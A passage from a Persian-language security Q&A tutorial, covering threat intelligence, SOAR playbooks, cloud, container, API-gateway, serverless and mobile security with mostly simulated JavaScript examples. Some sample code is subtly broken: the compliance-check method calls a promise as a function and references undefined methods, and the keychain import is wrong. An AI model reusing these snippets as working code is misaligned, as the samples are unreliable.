    }
    
    getDetectionSource(actionType) {
        const sources = {
            'RECONNAISSANCE': ['Network monitoring', 'DNS logs'],
            'INITIAL_ACCESS': ['Endpoint detection', 'Email security'],
            'LATERAL_MOVEMENT': ['Network segmentation', 'Host monitoring'],
            'PRIVILEGE_ESCALATION': ['Privilege monitoring', 'System logs'],
            'DATA_EXFILTRATION': ['DLP', 'Network monitoring']
        };
        
        return sources[actionType] || ['Generic monitoring'];
    }
    
    getResponseActions(actionType) {
        const responses = {
            'RECONNAISSANCE': ['Block suspicious IPs', 'Increase monitoring'],
            'INITIAL_ACCESS': ['Isolate affected host', 'Reset credentials'],
            'LATERAL_MOVEMENT': ['Network segmentation', 'Disable accounts'],
            'PRIVILEGE_ESCALATION': ['Privilege review', 'System hardening'],
            'DATA_EXFILTRATION': ['Block data transfer', 'Forensic analysis']
        };
        
        return responses[actionType] || ['Generic response'];
    }
    
    // شبیه‌سازی تمرین کامل
    runExercise() {
        console.log('🔴 Red Team vs Blue Team Exercise Started');
        
        // Red Team Campaign
        this.redTeamRecon('target-corp.com');
        
        setTimeout(() => {
            this.redTeamInitialAccess('Phishing email');
        }, 1000);
        
        setTimeout(() => {
            this.redTeamLateralMovement('workstation-01', 'server-01');
        }, 2000);
        
        setTimeout(() => {
            this.generateExerciseReport();
        }, 3000);
    }
    
    generateExerciseReport() {
        const report = {
            exerciseDate: new Date(),
            duration: '3 hours',
            redTeamActions: this.redTeamActions.length,
            blueTeamDetections: this.blueTeamDetections.length,
            detectionRate: (this.blueTeamDetections.length / this.redTeamActions.length * 100).toFixed(1),
            score: this.score,
            timeline: this.timeline,
            recommendations: this.generateRecommendations()
        };
        
        console.log('\n📊 Exercise Report:');
        console.log(`Red Team Actions: ${report.redTeamActions}`);
        console.log(`Blue Team Detections: ${report.blueTeamDetections}`);
        console.log(`Detection Rate: ${report.detectionRate}%`);
        console.log(`Final Score - Red: ${this.score.red}, Blue: ${this.score.blue}`);
        
        return report;
    }
    
    generateRecommendations() {
        const recommendations = [];
        
        const detectionRate = this.blueTeamDetections.length / this.redTeamActions.length;
        
        if (detectionRate < 0.5) {
            recommendations.push('Improve monitoring coverage');
            recommendations.push('Enhance detection rules');
        }
        
        if (this.score.red > this.score.blue) {
            recommendations.push('Strengthen incident response procedures');
            recommendations.push('Increase security awareness training');
        }
        
        return recommendations;
    }
}

// اجرای تمرین
const exercise = new RedBlueTeamExercise();
exercise.runExercise();
نکته: تمرینات Red Team vs Blue Team باید منظم و با اهداف مشخص انجام شوند.

38. مفهوم Cyber Threat Intelligence چیست؟

پاسخ:

Cyber Threat Intelligence (CTI) فرآیند جمع‌آوری، تحلیل و به اشتراک‌گذاری اطلاعات در مورد تهدیدات سایبری فعلی و آینده است.

انواع Threat Intelligence:
  • Strategic: اطلاعات سطح بالا برای تصمیم‌گیری
  • Tactical: TTPs (Tactics, Techniques, Procedures)
  • Operational: اطلاعات حملات در حال انجام
  • Technical: IOCs (Indicators of Compromise)
منابع Threat Intelligence:
  • Open Source: منابع عمومی
  • Commercial: فیدهای تجاری
  • Government: منابع دولتی
  • Internal: داده‌های داخلی سازمان
// سیستم Cyber Threat Intelligence
class ThreatIntelligence {
    constructor() {
        this.indicators = [];
        this.threatActors = [];
        this.campaigns = [];
        this.feeds = [];
    }
    
    // اضافه کردن IOC
    addIndicator(iocData) {
        const ioc = {
            id: this.generateIOCId(),
            type: iocData.type, // IP, domain, hash, etc.
            value: iocData.value,
            confidence: iocData.confidence,
            severity: iocData.severity,
            source: iocData.source,
            firstSeen: new Date(),
            lastSeen: new Date(),
            tags: iocData.tags || [],
            context: iocData.context
        };
        
        this.indicators.push(ioc);
        this.enrichIndicator(ioc);
        
        return ioc;
    }
    
    // غنی‌سازی IOC
    async enrichIndicator(ioc) {
        switch (ioc.type) {
            case 'ip':
                ioc.enrichment = await this.enrichIP(ioc.value);
                break;
            case 'domain':
                ioc.enrichment = await this.enrichDomain(ioc.value);
                break;
            case 'hash':
                ioc.enrichment = await this.enrichHash(ioc.value);
                break;
        }
    }
    
    async enrichIP(ip) {
        // شبیه‌سازی enrichment از منابع مختلف
        return {
            geolocation: await this.getIPGeolocation(ip),
            reputation: await this.getIPReputation(ip),
            whois: await this.getWhoisInfo(ip),
            asn: await this.getASNInfo(ip)
        };
    }
    
    async enrichDomain(domain) {
        return {
            whois: await this.getDomainWhois(domain),
            dns: await this.getDNSRecords(domain),
            reputation: await this.getDomainReputation(domain),
            certificates: await this.getSSLCertificates(domain)
        };
    }
    
    // جستجوی IOC
    searchIndicators(query) {
        return this.indicators.filter(ioc => {
            return ioc.value.includes(query) ||
                   ioc.tags.some(tag => tag.includes(query)) ||
                   (ioc.context && ioc.context.includes(query));
        });
    }
    
    // تحلیل الگوهای حمله
    analyzeAttackPatterns() {
        const patterns = {};
        
        this.indicators.forEach(ioc => {
            ioc.tags.forEach(tag => {
                if (!patterns[tag]) {
                    patterns[tag] = {
                        count: 0,
                        indicators: [],
                        firstSeen: ioc.firstSeen,
                        lastSeen: ioc.lastSeen
                    };
                }
                
                patterns[tag].count++;
                patterns[tag].indicators.push(ioc.value);
                
                if (ioc.firstSeen < patterns[tag].firstSeen) {
                    patterns[tag].firstSeen = ioc.firstSeen;
                }
                
                if (ioc.lastSeen > patterns[tag].lastSeen) {
                    patterns[tag].lastSeen = ioc.lastSeen;
                }
            });
        });
        
        return patterns;
    }
    
    // تولید گزارش تهدید
    generateThreatReport(timeframe = 7) {
        const cutoffDate = new Date();
        cutoffDate.setDate(cutoffDate.getDate() - timeframe);
        
        const recentIndicators = this.indicators.filter(ioc => 
            ioc.firstSeen >= cutoffDate
        );
        
        const report = {
            reportDate: new Date(),
            timeframe: `${timeframe} days`,
            summary: {
                totalIndicators: recentIndicators.length,
                byType: this.groupByType(recentIndicators),
                bySeverity: this.groupBySeverity(recentIndicators),
                topTags: this.getTopTags(recentIndicators)
            },
            trends: this.analyzeTrends(recentIndicators),
            recommendations: this.generateRecommendations(recentIndicators)
        };
        
        return report;
    }
    
    groupByType(indicators) {
        const groups = {};
        indicators.forEach(ioc => {
            groups[ioc.type] = (groups[ioc.type] || 0) + 1;
        });
        return groups;
    }
    
    groupBySeverity(indicators) {
        const groups = {};
        indicators.forEach(ioc => {
            groups[ioc.severity] = (groups[ioc.severity] || 0) + 1;
        });
        return groups;
    }
    
    getTopTags(indicators) {
        const tagCounts = {};
        indicators.forEach(ioc => {
            ioc.tags.forEach(tag => {
                tagCounts[tag] = (tagCounts[tag] || 0) + 1;
            });
        });
        
        return Object.entries(tagCounts)
            .sort(([,a], [,b]) => b - a)
            .slice(0, 10)
            .map(([tag, count]) => ({ tag, count }));
    }
    
    // ادغام فیدهای خارجی
    async ingestThreatFeed(feedUrl, feedType) {
        try {
            console.log(`Ingesting threat feed from: ${feedUrl}`);
            
            // شبیه‌سازی دریافت فید
            const feedData = await this.fetchFeedData(feedUrl);
            
            feedData.indicators.forEach(indicator => {
                this.addIndicator({
                    ...indicator,
                    source: feedUrl,
                    feedType: feedType
                });
            });
            
            console.log(`Ingested ${feedData.indicators.length} indicators from ${feedUrl}`);
            
        } catch (error) {
            console.error(`Error ingesting feed ${feedUrl}:`, error.message);
        }
    }
    
    // تشخیص تهدیدات در لاگ‌ها
    scanLogsForThreats(logEntries) {
        const threats = [];
        
        logEntries.forEach(logEntry => {
            this.indicators.forEach(ioc => {
                if (logEntry.includes(ioc.value)) {
                    threats.push({
                        timestamp: new Date(),
                        logEntry: logEntry,
                        matchedIOC: ioc,
                        severity: ioc.severity,
                        confidence: ioc.confidence
                    });
                }
            });
        });
        
        return threats;
    }
    
    generateIOCId() {
        return `IOC-${Date.now()}-${Math.random().toString(36).substr(2, 8)}`;
    }
    
    // شبیه‌سازی توابع enrichment
    async getIPGeolocation(ip) {
        return { country: 'US', city: 'New York', lat: 40.7128, lon: -74.0060 };
    }
    
    async getIPReputation(ip) {
        return { score: Math.floor(Math.random() * 100), category: 'malware' };
    }
    
    async fetchFeedData(url) {
        // شبیه‌سازی دریافت فید
        return {
            indicators: [
                {
                    type: 'ip',
                    value: '192.168.1.100',
                    confidence: 85,
                    severity: 'high',
                    tags: ['malware', 'botnet']
                }
            ]
        };
    }
}

// استفاده
const threatIntel = new ThreatIntelligence();

// اضافه کردن IOC
threatIntel.addIndicator({
    type: 'ip',
    value: '192.168.1.100',
    confidence: 90,
    severity: 'high',
    source: 'internal_analysis',
    tags: ['malware', 'c2'],
    context: 'Observed in network traffic communicating with known C2 server'
});

// تولید گزارش
const report = threatIntel.generateThreatReport(7);
console.log('Threat Intelligence Report:', report);
نکته: Threat Intelligence باید قابل اجرا (Actionable) و مرتبط با محیط سازمان باشد.

39. مفهوم Security Orchestration چیست؟

پاسخ:

Security Orchestration فرآیند هماهنگ‌سازی و خودکارسازی فعالیت‌های امنیتی مختلف برای بهبود کارایی و سرعت پاسخ به تهدیدات است.

مؤلفه‌های Security Orchestration:
  • Workflow Automation: خودکارسازی گردش کار
  • Tool Integration: ادغام ابزارها
  • Incident Response: پاسخ به حوادث
  • Threat Hunting: شکار تهدید
مزایای Orchestration:
  • Faster Response: پاسخ سریع‌تر
  • Consistency: یکنواختی فرآیندها
  • Reduced Manual Work: کاهش کار دستی
  • Better Coordination: هماهنگی بهتر
// سیستم Security Orchestration
class SecurityOrchestration {
    constructor() {
        this.workflows = [];
        this.integrations = new Map();
        this.playbooks = [];
        this.activeIncidents = [];
    }
    
    // ثبت ادغام ابزار
    registerIntegration(toolName, apiConfig) {
        this.integrations.set(toolName, {
            name: toolName,
            apiEndpoint: apiConfig.endpoint,
            apiKey: apiConfig.apiKey,
            capabilities: apiConfig.capabilities,
            status: 'active'
        });
        
        console.log(`Integration registered: ${toolName}`);
    }
    
    // ایجاد Playbook
    createPlaybook(playbookData) {
        const playbook = {
            id: this.generatePlaybookId(),
            name: playbookData.name,
            description: playbookData.description,
            trigger: playbookData.trigger,
            steps: playbookData.steps,
            createdAt: new Date(),
            version: '1.0'
        };
        
        this.playbooks.push(playbook);
        return playbook;
    }
    
    // اجرای Playbook
    async executePlaybook(playbookId, triggerData) {
        const playbook = this.playbooks.find(p => p.id === playbookId);
        if (!playbook) {
            throw new Error('Playbook not found');
        }
        
        const execution = {
            id: this.generateExecutionId(),
            playbookId: playbookId,
            startTime: new Date(),
            status: 'RUNNING',
            steps: [],
            context: triggerData
        };
        
        console.log(`Executing playbook: ${playbook.name}`);
        
        try {
            for (const step of playbook.steps) {
                const stepResult = await this.executeStep(step, execution.context);
                execution.steps.push(stepResult);
                
                // به‌روزرسانی context برای مراحل بعدی
                execution.context = { ...execution.context, ...stepResult.output };
            }
            
            execution.status = 'COMPLETED';
            execution.endTime = new Date();
            
        } catch (error) {
            execution.status = 'FAILED';
            execution.error = error.message;
            execution.endTime = new Date();
        }
        
        return execution;
    }
    
    // اجرای مرحله
    async executeStep(step, context) {
        const stepExecution = {
            stepName: step.name,
            startTime: new Date(),
            status: 'RUNNING',
            input: context,
            output: {}
        };
        
        try {
            switch (step.type) {
                case 'api_call':
                    stepExecution.output = await this.executeAPICall(step, context);
                    break;
                    
                case 'condition':
                    stepExecution.output = this.evaluateCondition(step, context);
                    break;
                    
                case 'notification':
                    stepExecution.output = await this.sendNotification(step, context);
                    break;
                    
                case 'data_enrichment':
                    stepExecution.output = await this.enrichData(step, context);
                    break;
                    
                default:
                    throw new Error(`Unknown step type: ${step.type}`);
            }
            
            stepExecution.status = 'COMPLETED';
            
        } catch (error) {
            stepExecution.status = 'FAILED';
            stepExecution.error = error.message;
        }
        
        stepExecution.endTime = new Date();
        return stepExecution;
    }
    
    // اجرای فراخوانی API
    async executeAPICall(step, context) {
        const integration = this.integrations.get(step.tool);
        if (!integration) {
            throw new Error(`Integration not found: ${step.tool}`);
        }
        
        // شبیه‌سازی فراخوانی API
        console.log(`Calling ${step.tool} API: ${step.action}`);
        
        switch (step.action) {
            case 'block_ip':
                return { blocked_ip: context.suspicious_ip, status: 'blocked' };
                
            case 'quarantine_file':
                return { quarantined_file: context.malicious_file, status: 'quarantined' };
                
            case 'disable_user':
                return { disabled_user: context.compromised_user, status: 'disabled' };
                
            default:
                return { action: step.action, status: 'completed' };
        }
    }
    
    // ارزیابی شرط
    evaluateCondition(step, context) {
        const condition = step.condition;
        let result = false;
        
        // شبیه‌سازی ارزیابی شرط
        if (condition.field && condition.operator && condition.value) {
            const fieldValue = context[condition.field];
            
            switch (condition.operator) {
                case 'equals':
                    result = fieldValue === condition.value;
                    break;
                case 'greater_than':
                    result = fieldValue > condition.value;
                    break;
                case 'contains':
                    result = fieldValue && fieldValue.includes(condition.value);
                    break;
            }
        }
        
        return { condition_result: result };
    }
    
    // ارسال اعلان
    async sendNotification(step, context) {
        const notification = {
            type: step.notification_type,
            recipient: step.recipient,
            message: this.formatMessage(step.message_template, context),
            timestamp: new Date()
        };
        
        console.log(`Sending ${notification.type} to ${notification.recipient}`);
        console.log(`Message: ${notification.message}`);
        
        return { notification_sent: true, notification_id: this.generateNotificationId() };
    }
    
    // غنی‌سازی داده
    async enrichData(step, context) {
        const enrichmentType = step.enrichment_type;
        const targetField = step.target_field;
        const value = context[targetField];
        
        // شبیه‌سازی غنی‌سازی
        let enrichedData = {};
        
        switch (enrichmentType) {
            case 'ip_reputation':
                enrichedData = {
                    reputation_score: Math.floor(Math.random() * 100),
                    country: 'US',
                    is_malicious: Math.random() < 0.3
                };
                break;
                
            case 'file_analysis':
                enrichedData = {
                    file_type: 'executable',
                    is_malware: Math.random() < 0.4,
                    threat_family: 'trojan'
                };
                break;
        }
        
        return { [`${targetField}_enriched`]: enrichedData };
    }
    
    // Playbook نمونه برای پاسخ به حمله فیشینگ
    createPhishingResponsePlaybook() {
        return this.createPlaybook({
            name: 'Phishing Email Response',
            description: 'Automated response to phishing email detection',
            trigger: 'phishing_email_detected',
            steps: [
                {
                    name: 'Quarantine Email',
                    type: 'api_call',
                    tool: 'email_security',
                    action: 'quarantine_email'
                },
                {
                    name: 'Check User Interaction',
                    type: 'condition',
                    condition: {
                        field: 'user_clicked',
                        operator: 'equals',
                        value: true
                    }
                },
                {
                    name: 'Reset User Password',
                    type: 'api_call',
                    tool: 'identity_management',
                    action: 'force_password_reset'
                },
                {
                    name: 'Notify Security Team',
                    type: 'notification',
                    notification_type: 'email',
                    recipient: '[email protected]',
                    message_template: 'Phishing email detected from {sender_email}. User {target_user} may be compromised.'
                },
                {
                    name: 'Block Sender Domain',
                    type: 'api_call',
                    tool: 'email_security',
                    action: 'block_domain'
                }
            ]
        });
    }
    
    formatMessage(template, context) {
        return template.replace(/\{(\w+)\}/g, (match, key) => {
            return context[key] || match;
        });
    }
    
    generatePlaybookId() {
        return `PB-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
    }
    
    generateExecutionId() {
        return `EX-${Date.now()}-${Math.random().toString(36).substr(2, 8)}`;
    }
    
    generateNotificationId() {
        return `NOT-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
    }
}

// استفاده
const orchestration = new SecurityOrchestration();

// ثبت ادغام‌ها
orchestration.registerIntegration('email_security', {
    endpoint: 'https://api.emailsec.com',
    apiKey: 'secret-key',
    capabilities: ['quarantine_email', 'block_domain']
});

orchestration.registerIntegration('identity_management', {
    endpoint: 'https://api.identity.com',
    apiKey: 'secret-key',
    capabilities: ['force_password_reset', 'disable_user']
});

// ایجاد Playbook
const phishingPlaybook = orchestration.createPhishingResponsePlaybook();

// اجرای Playbook
orchestration.executePlaybook(phishingPlaybook.id, {
    sender_email: '[email protected]',
    target_user: '[email protected]',
    user_clicked: true,
    email_id: 'email-12345'
}).then(result => {
    console.log('Playbook execution completed:', result);
});
نکته: Security Orchestration نیازمند برنامه‌ریزی دقیق و تست مداوم Playbook ها است.

40. مفهوم Cloud Security چیست؟

پاسخ:

Cloud Security مجموعه‌ای از سیاست‌ها، تکنولوژی‌ها، کنترل‌ها و خدماتی است که برای محافظت از داده‌ها، برنامه‌ها و زیرساخت‌های ابری استفاده می‌شود.

مدل‌های مسئولیت مشترک:
  • IaaS: مشتری مسئول OS، برنامه‌ها، داده‌ها
  • PaaS: مشتری مسئول برنامه‌ها، داده‌ها
  • SaaS: مشتری مسئول داده‌ها، کاربران
چالش‌های Cloud Security:
  • Data Privacy: حریم خصوصی داده
  • Compliance: انطباق با مقررات
  • Identity Management: مدیریت هویت
  • Network Security: امنیت شبکه
  • Incident Response: پاسخ به حوادث
// Cloud Security Implementation
class CloudSecurityManager {
    constructor(cloudProvider) {
        this.provider = cloudProvider;
        this.securityPolicies = [];
        this.complianceChecks = [];
        this.incidents = [];
    }
    
    // پیکربندی امنیت شبکه
    configureNetworkSecurity(vpcConfig) {
        const networkSecurity = {
            vpc: {
                id: vpcConfig.vpcId,
                cidr: vpcConfig.cidr,
                enableDnsHostnames: true,
                enableDnsSupport: true
            },
            securityGroups: this.createSecurityGroups(vpcConfig.securityGroups),
            nacls: this.createNetworkACLs(vpcConfig.nacls),
            flowLogs: {
                enabled: true,
                destination: 'cloudwatch',
                trafficType: 'ALL'
            }
        };
        
        console.log('Network security configured:', networkSecurity);
        return networkSecurity;
    }
    
    createSecurityGroups(sgConfigs) {
        return sgConfigs.map(config => ({
            id: this.generateSGId(),
            name: config.name,
            description: config.description,
            inboundRules: config.inboundRules.map(rule => ({
                protocol: rule.protocol,
                port: rule.port,
                source: rule.source,
                description: rule.description
            })),
            outboundRules: config.outboundRules.map(rule => ({
                protocol: rule.protocol,
                port: rule.port,
                destination: rule.destination,
                description: rule.description
            }))
        }));
    }
    
    // مدیریت هویت و دسترسی
    configureIAM(iamConfig) {
        const iamSetup = {
            users: this.createIAMUsers(iamConfig.users),
            roles: this.createIAMRoles(iamConfig.roles),
            policies: this.createIAMPolicies(iamConfig.policies),
            mfaEnabled: true,
            passwordPolicy: {
                minimumLength: 12,
                requireUppercase: true,
                requireLowercase: true,
                requireNumbers: true,
                requireSymbols: true,
                maxAge: 90
            }
        };
        
        console.log('IAM configured:', iamSetup);
        return iamSetup;
    }
    
    createIAMPolicies(policyConfigs) {
        return policyConfigs.map(config => ({
            name: config.name,
            description: config.description,
            document: {
                Version: '2012-10-17',
                Statement: config.statements.map(stmt => ({
                    Effect: stmt.effect,
                    Action: stmt.actions,
                    Resource: stmt.resources,
                    Condition: stmt.conditions || {}
                }))
            }
        }));
    }
    
    // رمزنگاری داده‌ها
    configureEncryption(encryptionConfig) {
        const encryption = {
            atRest: {
                enabled: true,
                kmsKeyId: encryptionConfig.kmsKeyId,
                algorithm: 'AES-256'
            },
            inTransit: {
                enabled: true,
                tlsVersion: '1.2',
                certificateValidation: true
            },
            keyManagement: {
                keyRotation: true,
                rotationPeriod: 365, // days
                keyBackup: true
            }
        };
        
        console.log('Encryption configured:', encryption);
        return encryption;
    }
    
    // نظارت و لاگ‌گیری
    configureMonitoring(monitoringConfig) {
        const monitoring = {
            cloudTrail: {
                enabled: true,
                includeGlobalServices: true,
                isMultiRegion: true,
                enableLogFileValidation: true
            },
            cloudWatch: {
                enabled: true,
                logGroups: monitoringConfig.logGroups,
                alarms: this.createCloudWatchAlarms(monitoringConfig.alarms)
            },
            securityHub: {
                enabled: true,
                standards: ['aws-foundational', 'cis', 'pci-dss']
            },
            guardDuty: {
                enabled: true,
                findingPublishingFrequency: 'FIFTEEN_MINUTES'
            }
        };
        
        console.log('Monitoring configured:', monitoring);
        return monitoring;
    }
    
    createCloudWatchAlarms(alarmConfigs) {
        return alarmConfigs.map(config => ({
            name: config.name,
            description: config.description,
            metricName: config.metricName,
            namespace: config.namespace,
            statistic: config.statistic,
            threshold: config.threshold,
            comparisonOperator: config.comparisonOperator,
            evaluationPeriods: config.evaluationPeriods,
            actions: config.actions
        }));
    }
    
    // بررسی انطباق
    async runComplianceCheck(framework) {
        const checks = {
            'CIS': this.runCISChecks(),
            'PCI-DSS': this.runPCIDSSChecks(),
            'HIPAA': this.runHIPAAChecks(),
            'SOC2': this.runSOC2Checks()
        };
        
        const results = await checks[framework]();
        
        const complianceReport = {
            framework: framework,
            timestamp: new Date(),
            totalChecks: results.length,
            passed: results.filter(r => r.status === 'PASS').length,
            failed: results.filter(r => r.status === 'FAIL').length,
            warnings: results.filter(r => r.status === 'WARNING').length,
            results: results
        };
        
        this.complianceChecks.push(complianceReport);
        return complianceReport;
    }
    
    async runCISChecks() {
        return [
            {
                checkId: 'CIS-1.1',
                description: 'Ensure MFA is enabled for root account',
                status: 'PASS',
                details: 'Root account MFA is enabled'
            },
            {
                checkId: 'CIS-2.1',
                description: 'Ensure CloudTrail is enabled',
                status: 'PASS',
                details: 'CloudTrail is enabled in all regions'
            },
            {
                checkId: 'CIS-3.1',
                description: 'Ensure VPC flow logging is enabled',
                status: 'WARNING',
                details: 'VPC flow logging enabled but not in all VPCs'
            }
        ];
    }
    
    // پاسخ به حوادث ابری
    async handleCloudIncident(incidentData) {
        const incident = {
            id: this.generateIncidentId(),
            type: incidentData.type,
            severity: incidentData.severity,
            description: incidentData.description,
            affectedResources: incidentData.affectedResources,
            timestamp: new Date(),
            status: 'OPEN',
            timeline: []
        };
        
        // اقدامات خودکار بر اساس نوع حادثه
        switch (incident.type) {
            case 'unauthorized_access':
                await this.handleUnauthorizedAccess(incident);
                break;
                
            case 'data_exfiltration':
                await this.handleDataExfiltration(incident);
                break;
                
            case 'resource_compromise':
                await this.handleResourceCompromise(incident);
                break;
        }
        
        this.incidents.push(incident);
        return incident;
    }
    
    async handleUnauthorizedAccess(incident) {
        // مسدود کردن IP مشکوک
        if (incident.sourceIP) {
            await this.blockIP(incident.sourceIP);
            incident.timeline.push({
                timestamp: new Date(),
                action: 'IP_BLOCKED',
                details: `Blocked suspicious IP: ${incident.sourceIP}`
            });
        }
        
        // غیرفعال کردن کاربر مشکوک
        if (incident.compromisedUser) {
            await this.disableUser(incident.compromisedUser);
            incident.timeline.push({
                timestamp: new Date(),
                action: 'USER_DISABLED',
                details: `Disabled compromised user: ${incident.compromisedUser}`
            });
        }
    }
    
    // گزارش امنیت ابری
    generateCloudSecurityReport() {
        const report = {
            reportDate: new Date(),
            provider: this.provider,
            securityPosture: this.assessSecurityPosture(),
            complianceStatus: this.getComplianceStatus(),
            incidents: this.getIncidentSummary(),
            recommendations: this.generateRecommendations()
        };
        
        return report;
    }
    
    assessSecurityPosture() {
        return {
            networkSecurity: 'GOOD',
            identityManagement: 'EXCELLENT',
            dataProtection: 'GOOD',
            monitoring: 'EXCELLENT',
            incidentResponse: 'GOOD'
        };
    }
    
    generateSGId() {
        return `sg-${Math.random().toString(36).substr(2, 8)}`;
    }
    
    generateIncidentId() {
        return `CLOUD-INC-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
    }
}

// استفاده
const cloudSecurity = new CloudSecurityManager('AWS');

// پیکربندی امنیت شبکه
const networkConfig = cloudSecurity.configureNetworkSecurity({
    vpcId: 'vpc-12345',
    cidr: '10.0.0.0/16',
    securityGroups: [
        {
            name: 'web-servers',
            description: 'Security group for web servers',
            inboundRules: [
                { protocol: 'tcp', port: 80, source: '0.0.0.0/0', description: 'HTTP' },
                { protocol: 'tcp', port: 443, source: '0.0.0.0/0', description: 'HTTPS' }
            ],
            outboundRules: [
                { protocol: 'tcp', port: 3306, destination: 'sg-database', description: 'MySQL' }
            ]
        }
    ]
});

// اجرای بررسی انطباق
cloudSecurity.runComplianceCheck('CIS').then(report => {
    console.log('Compliance Report:', report);
});
نکته: Cloud Security نیازمند درک عمیق از مدل مسئولیت مشترک و ابزارهای ارائه‌دهنده ابر است.

41. مفهوم Container Security چیست؟

پاسخ:

Container Security مجموعه‌ای از روش‌ها و ابزارهاست که برای محافظت از کانتینرها، تصاویر کانتینر و محیط‌های اجرای آن‌ها استفاده می‌شود.

چالش‌های امنیتی کانتینر:
  • Image Vulnerabilities: آسیب‌پذیری‌های تصویر
  • Runtime Security: امنیت زمان اجرا
  • Network Isolation: جداسازی شبکه
  • Secrets Management: مدیریت اسرار
// Dockerfile امن
# استفاده از base image رسمی و به‌روز
FROM node:18-alpine

# ایجاد کاربر غیر root
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

# تنظیم دایرکتوری کار
WORKDIR /app

# کپی فایل‌های dependency
COPY package*.json ./

# نصب dependencies
RUN npm ci --only=production && npm cache clean --force

# کپی کد برنامه
COPY --chown=nextjs:nodejs . .

# حذف فایل‌های غیرضروری
RUN rm -rf .git .gitignore README.md

# تنظیم مجوزها
RUN chmod -R 755 /app

# تغییر به کاربر غیر root
USER nextjs

# expose کردن پورت
EXPOSE 3000

# تنظیم متغیر محیطی
ENV NODE_ENV=production

# اجرای برنامه
CMD ["npm", "start"]
نکته: همیشه از کاربر غیر root در کانتینرها استفاده کنید.

42. مفهوم API Gateway Security چیست؟

پاسخ:

API Gateway Security مجموعه‌ای از کنترل‌ها و سیاست‌هاست که در لایه API Gateway برای محافظت از APIها پیاده‌سازی می‌شود.

ویژگی‌های امنیتی API Gateway:
  • Authentication: احراز هویت
  • Authorization: مجوزدهی
  • Rate Limiting: محدودیت نرخ
  • Input Validation: اعتبارسنجی ورودی
// پیکربندی API Gateway امن
const express = require('express');
const rateLimit = require('express-rate-limit');
const helmet = require('helmet');

const app = express();

// امنیت عمومی
app.use(helmet());

// Rate Limiting
const limiter = rateLimit({
    windowMs: 15 * 60 * 1000, // 15 دقیقه
    max: 100 // حداکثر 100 درخواست
});

app.use('/api/', limiter);

// Authentication Middleware
app.use('/api/', authenticateToken);

// Proxy به microservices
app.use('/api/users', proxy('http://user-service:3001'));
app.use('/api/orders', proxy('http://order-service:3002'));
نکته: API Gateway نقطه مرکزی برای اعمال سیاست‌های امنیتی است.

43. مفهوم Microservices Security چیست؟

پاسخ:

Microservices Security رویکردهای امنیتی خاص برای معماری میکروسرویس که شامل امنیت ارتباطات بین سرویس‌ها، احراز هویت توزیع شده و مدیریت اسرار است.

چالش‌های امنیتی میکروسرویس:
  • Service-to-Service Communication: ارتباط بین سرویس‌ها
  • Distributed Authentication: احراز هویت توزیع شده
  • Secret Management: مدیریت اسرار
  • Network Segmentation: بخش‌بندی شبکه
// Service Mesh Security با Istio
apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:
  name: default
  namespace: production
spec:
  mtls:
    mode: STRICT

---
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: user-service-policy
  namespace: production
spec:
  selector:
    matchLabels:
      app: user-service
  rules:
  - from:
    - source:
        principals: ["cluster.local/ns/production/sa/api-gateway"]
    to:
    - operation:
        methods: ["GET", "POST"]
نکته: در میکروسرویس‌ها، امنیت باید در هر لایه پیاده‌سازی شود.

44. مفهوم Serverless Security چیست؟

پاسخ:

Serverless Security مجموعه‌ای از روش‌ها و بهترین شیوه‌هاست که برای محافظت از برنامه‌های serverless و توابع ابری استفاده می‌شود.

ریسک‌های Serverless:
  • Function Event Injection: تزریق رویداد
  • Broken Authentication: احراز هویت شکسته
  • Insecure Deployment: استقرار ناامن
  • Over-Privileged Functions: توابع با امتیاز بیش از حد
// AWS Lambda امن
const AWS = require('aws-sdk');

// تنظیم امن AWS SDK
AWS.config.update({
    region: process.env.AWS_REGION,
    // استفاده از IAM roles به جای hardcoded keys
});

exports.handler = async (event, context) => {
    try {
        // اعتبارسنجی ورودی
        if (!event.body) {
            return {
                statusCode: 400,
                body: JSON.stringify({ error: 'Missing request body' })
            };
        }
        
        const data = JSON.parse(event.body);
        
        // Sanitize input
        const sanitizedData = sanitizeInput(data);
        
        // Process request
        const result = await processRequest(sanitizedData);
        
        return {
            statusCode: 200,
            headers: {
                'Content-Type': 'application/json',
                'X-Content-Type-Options': 'nosniff'
            },
            body: JSON.stringify(result)
        };
        
    } catch (error) {
        console.error('Error:', error);
        
        return {
            statusCode: 500,
            body: JSON.stringify({ error: 'Internal server error' })
        };
    }
};
نکته: در serverless، امنیت کد و مدیریت مجوزها بسیار مهم است.

45. مفهوم Mobile Application Security چیست؟

پاسخ:

Mobile Application Security مجموعه‌ای از تکنیک‌ها و روش‌هاست که برای محافظت از برنامه‌های موبایل در برابر تهدیدات امنیتی استفاده می‌شود.

تهدیدات موبایل:
  • Insecure Data Storage: ذخیره‌سازی ناامن داده
  • Weak Cryptography: رمزنگاری ضعیف
  • Insecure Communication: ارتباط ناامن
  • Code Tampering: دستکاری کد
// React Native امن
import AsyncStorage from '@react-native-async-storage/async-storage';
import CryptoJS from 'crypto-js';
import { Keychain } from 'react-native-keychain';

class SecureStorage {
    // ذخیره امن داده‌ها
    static async storeSecureData(key, data) {
        try {
            const encryptedData = CryptoJS.AES.encrypt(
                JSON.stringify(data), 
                await this.getEncryptionKey()
            ).toString();
            
            await AsyncStorage.setItem(key, encryptedData);
        } catch (error) {
            console.error('Error storing secure data:', error);
        }
    }
    
    // بازیابی امن داده‌ها
    static async getSecureData(key) {
        try {
            const encryptedData = await AsyncStorage.getItem(key);
            if (!encryptedData) return null;
            
            const decryptedBytes = CryptoJS.AES.decrypt(
                encryptedData, 
                await this.getEncryptionKey()
            );
            
            return JSON.parse(decryptedBytes.toString(CryptoJS.enc.Utf8));
        } catch (error) {
            console.error('Error retrieving secure data:', error);
            return null;
        }
    }
    
    // مدیریت کلید رمزنگاری
    static async getEncryptionKey() {
        try {
            const credentials = await Keychain.getInternetCredentials('encryption_key');
            if (credentials) {
                return credentials.password;
            } else {
                // تولید کلید جدید
                const newKey = CryptoJS.lib.WordArray.random(256/8).toString();
                await Keychain.setInternetCredentials('encryption_key', 'key', newKey);
                return newKey;
            }
        } catch (error) {
            console.error('Error managing encryption key:', error);
            throw error;
        }
    }
}
نکته: هرگز اطلاعات حساس را به صورت متن ساده در موبایل ذخیره نکنید.

